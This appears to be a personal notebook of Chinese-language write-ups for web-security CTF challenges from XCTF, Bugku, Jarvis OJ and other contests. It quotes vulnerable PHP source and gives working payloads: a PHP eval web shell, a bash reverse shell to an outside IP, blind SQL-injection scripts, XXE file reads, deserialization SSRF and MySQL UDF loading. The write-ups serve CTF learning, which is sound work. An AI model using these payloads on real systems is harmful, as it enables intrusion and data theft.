header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='. basename($file));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
} else {
die('error2');
}
} else {
echo 'error3';
}
}
if (!isset($_GET['page'])) {
$page = 'index';
} else {
$page = $_GET['page'];
}
if (stripos($page, './') > 0) {
die('no ./ ./ ./ ./');
}
if (stripos($page, '://') > 0) {
die('no :// :// ://');
}
autoload($page);
if (isset($_GET[admin]) && isset($_GET[file])) {
if (stripos($_GET[admin], 'flag') > 0 || stripos($_GET[file], 'flag') > 0) {
die('not flag flag flag falg !');
}
if (strlen($_GET[file]) >= 38) {
die('too long');
}
download($_GET[admin], $_GET[file]);
}
?admin=php://input&file=includes/upload.php
隨便咋樣都能過,因此上面的 stripos($file, 'file_list') 意義何在,讀到以前讀不了的源碼
upload.php
<?php
if (stripos($_SERVER['QUERY_STRING'], 'flag') > 0) {
die('no flag flag flag flag !');
}
if (!empty($_FILES)) {
//properties of the uploaded file
$name= $_FILES["filename"]["name"];
$type= $_FILES["filename"]["type"];
$size= $_FILES["filename"]["size"];
$temp= $_FILES["filename"]["tmp_name"];
$error= $_FILES["filename"]["error"];
if (strlen($name) >= 6) {
die('name is too long !');
}
if (stripos($name, './') > 0) {
die('invalid parameter');
}
// 直接傳一個 php 開頭的文件
if (stripos($name, 'php') > 0) {
die('invalid parameter');
}
// 嘗試一下 %00 截斷,php.php%00.jpg,失敗,長度超過了
if (substr($name, -3, 3) !== 'zip' && substr($name, -3, 3) !== 'jpg' && substr($name, -3, 3) !== 'png') {
die('file can not upload ! ');
}
if ($error > 0) {
die("Error uploading file! code $error.");
} else {
if ($type !== "application/zip" || $size > 400) {//condition for the file
die("Format not allowed or file size too big!");
} else {
if (file_exists('includes')) {
move_uploaded_file($temp, "includes/uploaded/" .$name);
echo "Upload complete a!";
shell_exec('sh /var/www/html/includes/unzip.sh');
} elseif (file_exists('uploaded')) {
move_uploaded_file($temp, "uploaded/" .$name);
echo "Upload complete!";
shell_exec('sh /var/www/html/includes/unzip.sh');
}
}
}
} else {
if (isset($_GET['step']) && strlen($_GET['step']) === 20) {
if (stripos($_GET['step'], 'lag') > 0) {
die('error');
}
if (stripos($_GET['step'], './') > 0) {
die('error');
}
if (stripos($_GET['step'], ' ') > 0) {
die('error');
}
if (stripos($_GET['step'], '/') > 0) {
die('error');
}
if (preg_match('/[^\w\d_ -]/si', $_GET['step'])) {
$_GET['step'] = preg_replace('/[^a-zA-Z0-9_ -]/s', '', $_GET['step']);
die('error');
}
passthru('cat ' . 'uploaded/' . $_GET['step']);
// 或許能夠命令注入
} else {
die();
}
}
// includes/unzip.sh
#/bin/bash
unzip -o ./uploaded/*.zip -d ./uploaded/
rm -rf ./uploaded/*.zip
rm -rf ./uploaded/*.*
rm -rf ./uploaded/*.*
touch /var/www/html/includes/uploaded/index.php
chmod 000 /var/www/html/includes/uploaded/index.php
*/
總結,這題其實滿滿的坑點,沒太多意思,但我莫名其妙的堅持下來了,各類嘗試,然而環境不給力,依然沒法找到 flag
這裏學到一個新思路,利用軟鏈接,即 Linux 上的快捷方式,實現目錄穿越,騷的一b
按理說,autoload() 裏的這個 include "./includes/$page"; 是能夠做爲文件包含,結合以前的 unzip.sh 內容,只是刪除了帶 . 的文件
這個思路仍是可行的,隨便傳一個 xxx,而後包含一下就行了,能夠直接 system('cat flag'),或者上菜刀
我這裏還看錯了一個地方,[^\w\d_ -] 是非 \w\d,因此數字什麼都是能夠的,
總而言之,這玩意仍是去 regex101 調試一下比較穩妥
不折騰了,有學到東西就好,flag 不重要
再記錄下軟鏈接的具體操做,使用前提:目錄結構很清晰
index.php
includes/uploaded/
flag/flag/flag/flag/flag/flag/flag.php
在 includes/uploaded/ 下
ln -s ../../flag/flag/flag/flag/flag/flag/flag.php 12345678901234567890
打成壓縮包
zip -y 1.zip 12345678901234567890
而後利用 passthru('cat ' . 'uploaded/' . $_GET['step']);
?step=12345678901234567890 就能夠實現文件讀取了
話說回來,此題仍是有點爲了出題而出題的感受,不少過濾並沒實際意義
XCTF 4th-CyberEarth ics-04
題目描述:工控雲管理系統新添加的登陸和註冊頁面存在漏洞,請找出flag。
生活老是充滿驚喜與驚嚇,sql注入,沒有任何過濾,sqlmap一把梭
md5破解失敗,也不能就此放棄啊,猜測sql語句,構造一下,直接登陸應該也行
但是,這直接就有邏輯漏洞,能夠覆蓋別人註冊過的用戶名。over
XCTF 4th-CyberEarth ics-07
工控雲管理系統項目管理頁面解析漏洞 phps 應該能夠
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
// 要有 admin 權限才能寫
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
} else {
chdir('uploaded');
$f = fopen($filename, 'w');
// 寫 shell phps 沒法解析
// con=<?php @eval($_POST[1]);?\>&file=../1.php/.
// xctf{b7aedc3107440ed1910514cbaffd9037}
fwrite($f, $con);
fclose($f);
}
}
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
// 寬字節注入 2%EF%BF%BD%23or1--+9 竟然不行? 理解有誤,有待增強
// 然而 id=1 9 就能夠了,本意可能不是注入
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result) die("<br >something wae wrong ! <br>");
if($result) {
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
XCTF 4th-CyberEarth ics-05
其餘破壞者會利用工控雲管理系統設備維護中心的後門入侵系統
/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
獲得源碼:
<?php
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
X-FORWARDED-FOR = 127.0.0.1
一句話 @preg_replace("/abcde/e", $_POST['a'], "abcdefg");
preg_replace() /e 能夠 RCE 參考 https://www.cnblogs.com/dhsx/p/4991983.html
有版本限制:This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.
成功執行:pat=/test/e&rep=phpinfo()&sub=jutst%20test
show_source('/var/www/html/s3chahahaDir/flag/flag.php')
若顯示服務器沒法處理,進行url編碼,以免誤解
csaw-ctf-2016-quals i-got-id-200
> 嗯。。我剛建好了一個網站
有三個界面,Hello World / Forms / Files
Forms 頁面會把你的輸入顯示的頁面上,有 self xss,沒啥用
Files 頁面有上傳的功能,並無顯示上傳的目錄,而且將上傳的內容直接輸出到屏幕上
用的是 perl CGI,嘗試尋找 RCE,我還沒用過 perl,找文檔開始學習,打 CTF 就是不斷學習新知識的過程
簡單掃了一圈,沒發現有源碼泄露,CGi 以前爆過 Shellshocke 漏洞,沒找到合適的資料
隨即開始猜想後端的寫法,我們找一找文件操做相關的函數,
參考 https://www.cgisecurity.com/lib/sips.html https://qntm.org/files/perl/perl_cn.html
重點看這個 https://gist.github.com/kentfredric/8f6ed343f4a16a34b08a 漏洞成因及payload
原做者是如何找到這篇文章的?經驗? wp https://github.com/73696e65/ctf-notes/blob/master/2016-ctf.csaw.io/web-200-i_got_id.md
仍是沒徹底搞懂
bash%20-i%20>%26%20%2fdev%2ftcp%2f47.101.220.241%2f8008%2f0>%261%20| 彈shell失敗。。
題目環境 https://github.com/ctfs/write-ups-2016/tree/master/csaw-ctf-2016-quals/web/i-got-id-200
CISCN-2018-Final 4jia1
swjWJVRtazwtcARioEhUOpyzgKOrICunmNRlngieqrFuGNgOVGPKoaxIDcmFQaYtnITdSKufADqWFkpJmqpWTxUBQEOfJJsjefZf
bugku insert into 注入題(XFF注入)
關鍵代碼
<? php
function getIp() {
$ip = '';
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$ip = getIp();
echo 'your ip is :'.$ip;
$sql = "insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
明顯沒有報錯信息,沒有回顯,只能盲注
還有一點,不能用逗號
先手注得出數據庫名和字段名,優先跑flag中的flag,再寫腳本跑
import requests
import sys
# 基於時間的盲注,過濾了逗號,使用 from x for 1 代替 x, 1
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = "http://123.206.87.240:8002/web15/"
flag = ''
for i in range(1, 40):
print('正在猜想:', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(0)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break
# 打算改爲二分,結果失敗了,之後補
import requests
url = "http://123.206.87.240:8002/web15/"
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)>'{1}' then sleep(3) else 0 end))-- +"
flag = ''
for i in range(1, 40):
print('正在猜想:', str(i))
left = 31
right = 129
while left < right:
mid = (left+right)//2
temp = right
sqli = sql.format(i, chr(mid))
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=2)
right = mid - 1
except:
left = mid
right = temp
flag += chr(left)
print(flag)
bugku 屢次
and 被替換,anandd 繞過
數據庫名長度爲 9,名稱 WEB1002-1
|| length("and")=3 以此檢測 and 是否被過濾
或者 id = 1 ^ (length("and")=3)
http://123.206.87.240:9004/1ndex.php
order 被過濾,嘗試 ordorderer,不行,由於 or 被過濾,還得雙寫 or,oorrder就能夠了
order by 2 正常,得出只查詢兩個字段
ununionion seleselectct 1, 2%23 獲得回顯 2
剩下就是常規套路,這裏其實能夠寫 tamper 而後用 sqlmap 跑一下
也能夠盲注跑出數據庫名,或者直接從 information_schema 獲得數據
?id=-1' ununionion seleselectct 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23
注意 or 被過濾 獲得 flag1,hint
先查看 flag1 的內容
?id=-1' ununionion seleselectct 1,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x666c616731%23
獲得 flag一、address
?id=-1' ununionion seleselectct 1,flag1 from flag1%23
獲得 usOwycTju+FTUUzXosjr
?id=-1' ununionion seleselectct 1,address from flag1%23
獲得下一關地址
進入下一關後,有明顯的報錯信息,嘗試報錯注入
?id=0' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)));%23
獲得 XPATH syntax error: '~class,flag2~'
?id=0' and (extractvalue(1,concat(0x7e,(select flag2 from flag2),0x7e)));%23
獲得了一個假flag:flag{Bugku-sql_6s-2i-4t-bug}
把 B 換成 b 就好了 ^==^
bugku sql注入2
御劍和腳本啥都沒掃出來
nikto -host http://123.206.87.240:8007/web2/
OSVDB-6694: /web2/.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
.DS_Store file // 再用腳本跑出目錄
Hack.lu-2017 Triangle
結合 js 的逆向題
wp:https://st98.github.io/diary/posts/2017-10-25-hacklu-ctf-2017.html
fireshell 2019 Vice
<?php
//require_once 'config.php';
class SHITS{
private $url;
private $method;
private $addr;
private $host;
private $name;
function __construct($method,$url){
$this->method = $method;
$this->url = $url;
}
function doit(){
$this->host = @parse_url($this->url)['host'];
$this->addr = @gethostbyname($this->host);
$this->name = @gethostbyaddr($this->host);
if($this->addr !== "127.0.0.1" || $this->name === false){
$not = ['.txt','.php','.xml','.html','.','[',']'];
foreach($not as $ext){
$p = strpos($this->url,$ext);
if($p){
die(":)");
}
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$this->url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;
}else{
die(":)");
}
}
function __destruct(){
if(in_array($this->method,array("doit"))){
call_user_func_array(array($this,$this->method),array());
}else{
die(":)");
}
}
}
if(isset($_GET["gg"])) {
@unserialize($_GET["gg"]);
} else {
highlight_file(__FILE__);
}
打開 config.php , awn...
猜測 config.php 有訪問限制,構造 ssrf 訪問,然而仍是啥都沒有
$not = ['.txt','.php','.xml','.html','.','[',']'];
foreach($not as $ext){
$p = strpos($this->url,$ext);
if($p){
die(":)");
}
}
此處可構造
$gg = new SHITS('doit', '.php@68.183.31.62:991/config.php');
$gg = new SHITS('doit', '.php@localhost/config.php');
$gg = new SHITS('doit', 'localhost/config%2ephp');
參考:https://www.secpulse.com/archives/65832.html
$ser = serialize($gg);
echo urlencode($ser) ."<br>";
unserialize($ser);
O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A32%3A%22.php%4068.183.31.62%3A991%2Fconfig.php%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22%00SHITS%00addr%22%3BN%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D
先編碼,序列化後直接反序列化,此過程因爲特殊符號編碼會引發混亂,出現 unserialize(): Error at offset 錯誤
也能夠進行 base64 編碼,可是須要改代碼,這裏利用 web 特性,url編碼最方便
可是並無什麼卵用
仍是得 file:///var/www/html/config%2ephp 二次編碼繞過 .
讀取 config.php O%3A5%3A%22SHITS%22%3A5%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A33%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fconfig%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3Bs%3A4%3A%22doit%22%3Bs%3A11%3A%22%00SHITS%00addr%22%3BN%3Bs%3A11%3A%22%00SHITS%00host%22%3BN%3Bs%3A11%3A%22%00SHITS%00name%22%3BN%3B%7D
其實能夠這樣,不須要全部屬性,只要前兩個 O%3A5%3A%22SHITS%22%3A2%3A%7Bs%3A10%3A%22%00SHITS%00url%22%3Bs%3A33%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fconfig%252ephp%22%3Bs%3A13%3A%22%00SHITS%00method%22%3
if($_SERVER['REMOTE_ADDR'] !== '::1' || $_SERVER['REMOTE_ADDR'] !== '127.0.0.1'){
echo "aaawn";
}else{
$flag ="F#{wtf_5trp0s_}";
}
tinyCTF 2014: NaNNaNNaNNaN…, Batman!
<script>
_ = 'function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}} \'<input id="c">< onclick=$()>Ok</ >\');delete _var ","docu.)match(/"];/)!=null=[" write(s[o%4] buttonif(e.ment';
for(Y in $=' ')
with(_.split($[Y]))
_=join(pop());
eval(_)
</script>
將 eval 換成 console.log(_)
獲得
function $() {
var e = document.getElementById("c").value;
if (e.length == 16)
if (e.match(/^be0f23/) != null)
if (e.match(/233ac/) != null)
if (e.match(/e98aa$/) != null)
if (e.match(/c7be9/) != null) {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _
直接執行中間那部分便可獲得flag
安恆杯一月賽
simple php
1.SQL約束攻擊
2.tp3.2 sql注入
https://www.anquanke.com/post/id/170341#h3-3
發現是搜索框,而且是tp3.2
不難想到注入漏洞,隨手嘗試報錯id
http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and polygon(id)--
發現庫名tpctf,表名flag,根據經驗猜想字段名是否爲flag
http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and polygon(flag)--
nice,發現flag字段也存在,省了很多事
下面是思考如何注入獲得數據,隨手測試
http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if(1,sleep(3),0)--
發現成功sleep 3s,輕鬆寫出exp
import requests
flag = ''
cookies = {
'PHPSESSID': 're4g49sil8hfh4ovfrk7ln1o02'
}
for i in range(1,33):
for j in '0123456789abcdef':
url = 'http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((ascii(substr((select flag from flag limit 0,1),'+str(i)+',1))='+str(ord(j))+'),sleep(3),0)--'
try:
r = requests.get(url=url,timeout=2.5,cookies=cookies)
except:
flag += j
print flag
break
tp 這幾個漏洞還搞不清楚
https://xz.aliyun.com/t/2812#toc-11
https://www.anquanke.com/post/id/157817
https://www.secpulse.com/archives/29826.html
https://bbs.ichunqiu.com/thread-38901-1-1.html
先緩緩吧,phpstudy裏已經搭好環境
jarvisoj inject
http://web.jarvisoj.com:32794/index.php~
獲得源碼
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
?table=flag 正常響應 => 存在 secret_flag 表
注意到這個反引號 ``,其做用是區分 MySQL 保留字與普通字符
如 create table desc 確定報錯
而 create table `desc` 則能成功執行
本地嘗試可得
desc `abc` `def`
desc abc def 效果是同樣的
結合題目 => desc `secret_flag` `
(`此處若是是 desc `secret_flag`` 將被認爲是執行 desc secret_flag`)
順手執行
?table=flag`%20`%20union%20select%201
發現仍是沒有變化,依舊顯示 flag{xxx}
不要灰心,這隻顯示了一條數據而已,加入 limit 試試
?table=flag`%20`%20union%20select%201%20limit%201,2
成功獲得1
?table=flag`%20`%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7365637265745f666c6167%20limit%201,1
(此處 table_name 的值要進行 hex 編碼)
查找全部字段 => flagUwillNeverKnow
接着查詢內容 ?table=flag`%20`%20union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1
獲得flag
PS:也能夠不用 limit,直接 where 0,使得前面的查詢爲空,則直接顯示數據
如?table=flag`%20`%20where%200%20union%20select%20flagUwillNeverKnow%20from%20secret_flag
jarvisoj Easy Gallery / upload + lfi (local file inclusion)
"沒有什麼防禦是一個漏洞解決不了的,若是有,那就....."
掃了一遍目錄,沒發現什麼文件,嘗試 filter 讀源碼,也失敗了
主題界面是一個圖片上傳,再加一個展現界面
配置信息給的這麼清晰,有點可疑,然而並無找到什麼有用的洞
Apache/2.4.18 (Unix) OpenSSL/1.0.2h PHP/5.6.21 mod_perl/2.0.8-dev Perl/v5.16.3
Warning: fopen(submi.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24
按理說是能夠文件包含,php://filter/read=convert.base64-encode/resource=index
然而顯示 Cross domain forbidden!,估計是加了啥子 waf,此路不通
fopen() 時應該是拼接了一個 ".php",這裏能夠用 %00 繞過
fopen(index.jj): failed to open stream 繞過成功
圖片只能上傳 jpg ,因此直接抓包在後面再個一句話,而後用 fopen() 去包含
可是,注意是可是,這裏有個坑,不能用 <?php,有 waf,要用 <script language="php">eval($_POST[1])</script>
而後 page=uploads/1552805580.jpg%00 自動出 flag,都不須要菜刀
這題出的太過死板,<?=?> 是能夠的,竟然沒任何回顯,專考 <script language="php"> 標籤了,沒意義
有時間本身改一改出個題
jarvisoj api調用(xxe入門題)
請設法得到目標機器/home/ctf/flag.txt中的flag值。
參考 https://blog.spoock.com/2016/11/15/jarvisoj-web-writeup-1/
常規系統裏對接收的請求都會作限制,好比POST之以content-type的application/x-www-form-urlencoded接收,但在一些框架系統裏,框架會自動幫開發者識別傳入的數據
POST 提交數據的四種常見方式
application/x-www-form-urlencoded
multipart/form-data
application/json
application/xml
好比:默認爲application/x-www-form-urlencoded接收的我只需修改成 application/json
便可傳入JSON格式的數據,XML同理
這將致使本來不存在xml解析的地方可能存在XXE漏洞
function XHR() {
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}
}
}
return xhr;
}
function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
payload:
Content-Type: application/xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data[
<!ENTITY file SYSTEM "file:////home/ctf/flag.txt">
]>
<data>&file;</data>
jarvisoj 神盾局的祕密
/showimg.php?img=c2hvd2ltZy5waHA= 讀取 showing.php 源碼
<?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE && stripos($f,'pctf')===FALSE) { readfile($f); } else { echo "File not found!"; } } ?>
同理可得 index.php
<?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?>
shield.php
<?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>
payload:
/index.php?class=O:6:「Shield」:1:{s:4:「file」;s:8:「pctf.php」;}
jarvisoj port51
➜ ~ sudo curl --local-port 51 http://web.jarvisoj.com:32770/
<!DOCTYPE html>
<html>
<head>
<title>Web 100</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<h3>Yeah!! Here your flag:PCTF{M45t3r_oF_CuRl}</h3>
</body>
</html>
jarvisoj login
header 頭裏面發現 hint: 「select * from admin where password=’」.md5($pass,true)."’"
md5 ( string $str [, bool $raw_output = FALSE ] ) : string
string 要計算的字符串
raw 爲 TRUE 時爲 16 字符二進制格式,默認爲 false 32 字符十六進制數
參考 https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html
http://www.am0s.com/functions/204.html
有個牛逼的字符串: ffifdyop
傳入以後,最終的 sql 語句變爲 select * from admin where password=’‘or’6�]��!r,��b’
成功閉合,獲得萬能密碼
jarvisoj RE
咦,奇怪,說好的WEB題呢,怎麼成逆向了?不過裏面有個help_me函數挺有意思的哦
題目給了個 udf.so 的文件,IDA 啓動,然而並無發現啥東西(彙編還要加油
前幾天剛看了MySQL提權就忘了,後來才知道 udf.so 也是拿來提權的,
http://vinc.top/2017/04/19/mysql-udf%E6%8F%90%E6%9D%83linux%E5%B9%B3%E5%8F%B0/
將 udf.so 導入到MySQL的插件裏面,注意改下權限
mysql> show variables like "%plugin%";
+-------------------------------+------------------------+
| Variable_name | Value |
+-------------------------------+------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /usr/lib/mysql/plugin/ |
+-------------------------------+------------------------+
2 rows in set (0.00 sec)
mysql> create function help_me returns string soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select help_me();
+---------------------------------------------+
| help_me() |
+---------------------------------------------+
| use getflag function to obtain your flag!! |
+---------------------------------------------+
1 row in set (0.00 sec)
mysql> create function getflag returns string soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select getflag();
+------------------------------------------+
| getflag() |
+------------------------------------------+
| PCTF{Interesting_U5er_d3fined_Function} |
+------------------------------------------+
1 row in set (0.00 sec)
jarvisoj flag在管理員手裏
然而又是 hash 擴展攻擊,不作了
<?php
$auth = false;
$role = "guest";
$salt = '32342';
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is ";
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>
jarvisoj IN A Mess
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id']) {
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) {
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5
and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
require("flag.txt");
}
else {
print "work harder!harder!harder!";
}
?>
payload1: index.php/?id=a&a=php://input&b=%0034253
post: 1112 is a nice lab!
eregi() 會被 %00 截斷,但 strlen() 不會
==> <!--index.phps-->Come ON!!! {/^HT2mCpcvOLf}
進入該目錄,自動跳轉到 web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1
發現空格被過濾,嘗試繞過
- 使用註釋繞過,/**/
- 使用括號繞過,括號能夠用來包圍子查詢,任何計算結果的語句均可以使用()包圍,而且兩端能夠沒有多餘的空格
- 使用符號替代空格 %20 %09 %0d %0b %0c %0d %a0 %0a
這裏能夠用 /*233*/ 代替空格
order by 沒有回顯,放棄該法
/?id=2/*233*/uunionnion/*233*/seselectlect/*233*/1,2,3%23
獲得 3, 說明字段數也是 3
payload2:
獲取全部數據庫名
?id=2/*233*/uniounionn/*233*/selselectect/*233*/1,2,group_concat(schema_name)/*233*/frfromom/*233*/information_schema.schemata%23
==> information_schema,test
獲取本數據庫內的全部表名
?id=2/*233*/uniounionn/*233*/selselectect/*233*/1,2,group_concat(table_name)/*233*/frfromom/*233*/information_schema.tables/*233*/where/*233*/table_schema=database()%23
==> content
(以上兩步可省略)
獲取全部字段名
?id=2/*233*/uniounionn/*233*/selselectect/*233*/1,2,group_concat(column_name)/*233*/frfromom/*233*/information_schema.columns/*233*/where/*233*/table_name=0x636f6e74656e74%23
==> id,context,title
獲取全部數據
?id=2/*233*/uniounionn/*233*/selselectect/*233*/1,2,group_concat(id,context,title)/*233*/frfromom/*233*/content%23
==> 1PCTF{Fin4lly_U_got_i7_C0ngRatulation5}hi666
jarvisoj web
是一個輸入框,輸入密碼,顯示密碼錯誤
掃不到其餘目錄,看看源碼,有個 app.js
搜索 Wrong Password!!
$.post("checkpass.json", t,
function(t) {
self.checkpass(e) ? self.setState({
errmsg: "Success!!",
errcolor: b.green400
}) : (self.setState({
errmsg: "Wrong Password!!"
......
}))
})
跟進去
function(e) {
if (25 !== e.length) return ! 1;
for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n));
for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 